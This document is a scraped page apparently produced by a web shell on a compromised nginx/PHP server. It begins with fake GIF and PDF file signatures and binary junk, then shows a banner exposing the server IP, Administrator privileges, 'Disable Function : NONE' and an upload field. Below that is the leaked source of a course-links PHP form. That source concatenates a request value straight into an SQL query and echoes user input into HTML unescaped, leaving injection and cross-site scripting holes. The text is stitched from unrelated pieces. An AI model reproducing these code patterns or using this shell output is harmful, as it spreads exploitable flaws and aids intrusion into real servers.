GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Admin/ |
Upload File : |
<? // CourseLinksForm.phpinc debugTrackBegin(); if (!isset($f_courseId)) { $f_courseId = formValue('courseId'); } if ($f_form != 'form_course') { // Not from form. if ($f_courseId) { // Load courseId data. $query = " SELECT * FROM course WHERE courseId = ".$f_courseId." AND userId = ".$_SESSION['userId']." "; $courseResult = query_do($query); $courseCount = $_SESSION['qry']['count']; if ($courseCount) { $courseRow = mysqli_fetch_assoc($courseResult); } $f_courseId = $courseRow['courseId']; $f_userId = $courseRow['userId']; $f_courseNumber = $courseRow['courseNumber']; $f_courseWebsite = $courseRow['courseWebsite']; $f_courseBase = $courseRow['courseBase']; $f_courseAssignments = $courseRow['courseAssignments']; $f_courseInstructionalGuide = $courseRow['courseInstructionalGuide']; $f_courseSchedule = $courseRow['courseSchedule']; $f_courseSyllabus = $courseRow['courseSyllabus']; $f_courseResources = $courseRow['courseResources']; $f_courseD2L = $courseRow['courseD2L']; } else { // Set values to empty. $f_courseId = 0; $f_courseNumber = ''; $f_courseWebsite = ''; $f_courseBase = 0; $f_courseAssignments = ''; $f_courseInstructionalGuide = ''; $f_courseSchedule = ''; $f_courseSyllabus = ''; $f_courseResources = ''; $f_courseD2L = 0; } } if (!isset($f_courseError)) { $f_courseError = ''; } if (!isset($f_courseNumberError)) { $f_courseNumberError = ''; } if (!isset($f_courseWebsiteError)) { $f_courseWebsiteError = ''; } if (!isset($f_courseAssignmentsError)) { $f_courseAssignmentsError = ''; } if (!isset($f_courseInstructionalGuideError)) { $f_courseInstructionalGuideError = ''; } if (!isset($f_courseScheduleError)) { $f_courseScheduleError = ''; } if (!isset($f_courseSyllabusError)) { $f_courseSyllabusError = ''; } if (!isset($f_courseResourcesError)) { $f_courseResourcesError = ''; } #echo $f_courseNumber .' '. formValue('courseNumber'); #print_r($courseRow); #$headTitle = '_CST_ - Courses'; if ($f_courseId) { $sectionTitle = 'Course Edit'; $f_form = 'form_courseEdit'; } else { $sectionTitle = 'Course Add'; $f_form = 'form_courseAdd'; } include('common/sectionHeader.phpinc'); ?> <fieldset><legend><span style="font-size:large;">Courses</span> </legend> <? if ($f_courseError != '') { ?> <div class="center"> <?=$f_courseError?><br> You can do one of three things: <table cellpadding="0" cellspacing="0" class="center"><tr><td> 1) You can <form name="form_courseUpdate" action="<?=php_self()?>" method="post" style="display:inline;"> <input name="f_uuid" type="hidden" value="<?=uuid()?>"> <input name="f_form" type="hidden" value="form_courseUpdate"> <input name="f_task" type="hidden" value="Update anyway"> <input name="f_courseId" type="hidden" value="<?=$courseRow['courseId']?>"> <input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>"> <input name="f_courseWebsite" type="hidden" value="<?=$f_courseWebsite?>"> <input name="f_courseBase" type="hidden" value="<?=$f_courseBase?>"> <input name="f_courseAssignments" type="hidden" value="<?=$f_courseAssignments?>"> <input name="f_courseInstructionalGuide" type="hidden" value="<?=$f_courseInstructionalGuide?>"> <input name="f_courseSyllabus" type="hidden" value="<?=$f_courseSyllabus?>"> <input name="f_courseSchedule" type="hidden" value="<?=$f_courseSchedule?>"> <input name="f_courseD2L" type="hidden" value="<?=$f_courseD2L?>"> <input type="submit" name="f_subtask" value="Update" class="small"> </form> the original URLs with the current information.<br> 2) You and scrap this and <form name="form_courseEdit" action="<?=php_self()?>" method="post" style="display:inline;"> <input name="f_uuid" type="hidden" value="<?=uuid()?>"> <input name="f_form" type="hidden" value="form_courseEdit"> <input name="f_courseId" type="hidden" value="<?=$courseRow['courseId']?>"> <input type="submit" name="f_task" value="Edit" class="small"> </form> the original URLs.<br> 3) You can change the course number below. </td></tr></table> </div> <? } ?> <table cellpadding="0" cellspacing="0"> <form name="form_course" action="<?=php_self()?>" method="post"> <input name="f_uuid" type="hidden" value="<?=uuid()?>"> <input name="f_form" type="hidden" value="<?=$f_form?>"> <input name="f_courseId" type="hidden" value="<?=$f_courseId?>"> <tr><td class="right">Course number:</td> <? if ($f_courseId) { ?> <td class="bold"><?=$f_courseNumber?> <input name="f_courseNumber" type="hidden" value="<?=$f_courseNumber?>"> <? } else { ?> <td class=""><input name="f_courseNumber" type="text" value="<?=$f_courseNumber?>" maxlength="8" style="width:75px;"><?=$f_courseNumberError?> <? } ?> <input name="f_courseD2L" type="checkbox" value="1" <? if ($f_courseD2L) { ?> checked="checked"<? } ?> /><span class="normal">This course is on D2L.</span> <input type="submit" name="f_task" value="Prefill with defaults" class="small" /> </td></tr> <tr> <td class="right">Website link:</td> <td><input name="f_courseWebsite" type="text" value="<?=$f_courseWebsite?>" maxlength="128" style="width:400px;"><?=$f_courseWebsiteError?></td> </tr> <? ?> <tr> <td class="right">Course Link Base:</td> <td><input name="f_courseBase" type="checkbox" value="1"<? if ($f_courseBase) { ?> checked="checked"<? } ?> />Use the above as a base URL for the following links.</td> </tr> <tr> <td class="right">Assignments link:</td> <td><input name="f_courseAssignments" type="text" value="<?=$f_courseAssignments?>" maxlength="128" style="width:400px;"><?=$f_courseAssignmentsError?></td> </tr> <tr> <td class="right">Instructional Guide link:</td> <td><input name="f_courseInstructionalGuide" type="text" value="<?=$f_courseInstructionalGuide?>" maxlength="128" style="width:400px;"><?=$f_courseInstructionalGuideError?></td> </tr> <tr> <td class="right">Schedule link:</td> <td><input name="f_courseSchedule" type="text" value="<?=$f_courseSchedule?>" maxlength="128" style="width:400px;"><?=$f_courseScheduleError?></td> </tr> <tr> <td class="right">Syllabus link:</td> <td><input name="f_courseSyllabus" type="text" value="<?=$f_courseSyllabus?>" maxlength="128" style="width:400px;"><?=$f_courseSyllabusError?></td> </tr> <tr> <td class="right">Resources link:</td> <td><input name="f_courseResources" type="text" value="<?=$f_courseResources?>" maxlength="128" style="width:400px;"><?=$f_courseResourcesError?></td> </tr> <tr><td colspan="2" class="center"> <? if ($f_courseId) { ?> <input type="submit" name="f_task" value="Update course" class="small"> <? } else { ?> <input type="submit" name="f_task" value="Add course" class="small"> <? } if ( $_SESSION['uuid'] != $f_uuid ) { ?> <input type="submit" name="f_task" value="Done" class="small"> <? } else { ?> <input type="submit" name="f_task" value="Cancel" class="small"> <? } if ($f_courseId) { ?> <br><input type="submit" name="f_task" value="Delete" class="small"><!-- <input type="submit" name="f_task" value="Rename" class="small"> --> <? } ?> </td></tr> </form> <tr><td colspan="2">NOTE: If your links are not on <?=$_SERVER['HTTP_HOST']?> you must include the protocol header. (IE: http://)</td></tr> </table> </fieldset> <? if ($f_courseId) { ?> <script type="text/javascript"> document.form_course.f_courseWebsite.focus(); </script> <? } else { ?> <script type="text/javascript"> document.form_course.f_courseNumber.focus(); </script> <? } debugTrackEnd(); include('common/sectionFooter.phpinc'); ?>